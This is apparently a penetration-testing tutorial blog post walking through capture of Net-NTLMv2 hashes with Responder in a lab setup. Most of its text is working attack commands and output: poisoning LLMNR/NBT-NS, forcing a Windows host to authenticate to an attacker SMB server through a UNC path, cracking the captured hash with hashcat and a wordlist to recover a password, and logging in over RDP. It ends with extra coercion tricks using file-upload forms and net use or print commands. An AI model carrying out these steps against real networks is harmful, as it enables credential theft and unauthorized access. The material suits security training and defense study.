Published on June 25, 2025
Net-NTLMv2 is Microsoft’s challenge–response authentication protocol used over networks (e.g., SMB, HTTP). Instead of sending a password, the client proves knowledge of its NTLM hash by encrypting a server-supplied nonce (challenge) with HMAC-MD5:
Because the challenge is random and the response includes a timestamp and client nonce, replay is more difficult than with NTLMv1—but capture-and-offline-crack remains trivial once you have the blob.
Mimikatz reads cleartext and hashes from LSASS memory, but on many targets you’ll only have an unprivileged shell without Administrator or SeDebugPrivilege
. Without SYSTEM rights, Mimikatz cannot access LSASS, so you must resort to network-level capture of Net-NTLMv2.
Responder is a network-poisoning tool that:
We’ll focus on its built-in SMB server to capture Net-NTLMv2 from an unprivileged user.
kali@kali:~$ ip a
Explanation: Lists network interfaces and IPs; note the one reachable by target (e.g., tap0: 192.168.119.2/24
).
kali@kali:~$ sudo responder -I tap0
Explanation:
-I
selects interface;
Responder now serves SMB and poisons LLMNR/NBT-NS to capture hashes.
C:\> dir \\192.168.119.2\test
Explanation: UNC path lookup forces the Windows host to authenticate to our SMB server—even if share “test” doesn’t exist.
[SMB] NTLMv2-SSP Client : ::ffff:192.168.50.211
[SMB] NTLMv2-SSP Username : FILES01\paul
[SMB] NTLMv2-SSP Hash : paul::FILES01:…:01010000…:…
Explanation: Responder displays the full challenge–response string; copy it into paul.hash
on Kali.
kali@kali:~$ echo "paul::FILES01:…:01010000…:…" > paul.hash
Explanation: Stores the captured blob for cracking.
kali@kali:~$ hashcat --help | grep -i ntlmv2
Explanation:
Returns 5600 | NetNTLMv2
, the mode for Net-NTLMv2 blobs.
kali@kali:~$ hashcat -m 5600 paul.hash \
/usr/share/wordlists/rockyou.txt --force
Explanation:
-m 5600
: NetNTLMv2 mode;
rockyou.txt
: wordlist;
--force
: ignore minor warnings.
Result reveals paul:123Password123
.
mstsc /v:192.168.50.211 /u:FILES01\paul
Explanation: Connect via RDP using the cracked password to confirm access.
\\192.168.119.2\share\dummy.txt
in file-upload forms to trigger authentication.
net use
or print /d:\\192.168.119.2\printer
to force SMB auth.